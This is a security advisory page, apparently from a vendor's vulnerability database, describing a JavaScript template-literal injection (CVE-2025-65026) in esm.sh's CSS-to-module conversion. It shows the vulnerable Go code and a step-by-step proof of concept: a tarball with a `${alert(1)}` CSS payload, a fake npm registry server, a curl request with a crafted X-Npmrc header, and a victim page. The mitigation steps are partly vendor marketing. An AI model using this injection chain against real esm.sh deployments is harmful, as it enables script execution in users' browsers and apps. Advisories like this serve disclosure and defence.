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GHSA-hcpf-qv9m-vfgp

MEDIUM

esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript

Also known asCVE-2025-65026GO-2025-4139
Published
Nov 19, 2025
Updated
Nov 27, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk35th percentile+0.41%
0.00%0.31%0.63%0.94%0.1%0.4%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
    filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
    css, err := os.ReadFile(filename)
    if err != nil {
        return rex.Status(500, err.Error())
    }
    
    buf := bytes.NewBufferString("/* esm.sh - css module */\n")
    buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
    
    if bytes.ContainsRune(css, '`') {
        // If backtick exists: JSON encode (SAFE)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
        buf.WriteString(");\n")
    } else {
        // If no backtick: Direct insertion (VULNERABLE!)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.Write(css)  // ← CSS inserted into template literal without sanitization!
        buf.WriteString("`);\n")
    }
    
    buf.WriteString("export default stylesheet;\n")
    ctx.SetHeader("Content-Type", ctJavaScript)
    return buf
}

When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar)

import tarfile
import io
import json
from datetime import datetime

# Malicious CSS with template literal injection
evil_css = b"""
body {
  background-color: #ffffff;
  color: #333333;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
}

/* js payload */
${alert(1)} 

/* More CSS to appear legitimate */
.footer {
  margin-top: 20px;
  padding: 10px;
}
"""

files = {
    "package/index.js": b"module.exports = { version: '1.0.0' };",
    "package/package.json": json.dumps({
        "name": "test-css-injection",
        "version": "1.0.0",
        "description": "Test package for CSS injection",
        "main": "index.js"
    }, indent=2).encode(),
    
    # Malicious CSS file
    "package/poc.css": evil_css,
}

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
    for name, content in files.items():
        info = tarfile.TarInfo(name=name)
        info.size = len(content)
        info.mode = 0o644
        info.mtime = int(datetime.now().timestamp())
        tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py

Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

curl "http://localhost:8080/[email protected]" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1))

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSS Injection Victim Page</title>
</head>
<body>
    <script type="module">
        // esm.sh import
        import styles from "http://localhost:8080/[email protected]/poc.css?module";
        
        console.log('Styles loaded:', styles);
    </script>
</body>
</html>
<img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />

in esm.sh Playground

<img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />

Impact

Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/esm-dev/esm.shall versions0.0.0-20251118065157-87d2f6497574

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/esm-dev/esm.sh to 0.0.0-20251118065157-87d2f6497574 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hcpf-qv9m-vfgp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hcpf-qv9m-vfgp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hcpf-qv9m-vfgp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) i
O3 Security · Impact-Aware SCA

Is GHSA-hcpf-qv9m-vfgp in your dependencies?

O3 detects GHSA-hcpf-qv9m-vfgp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.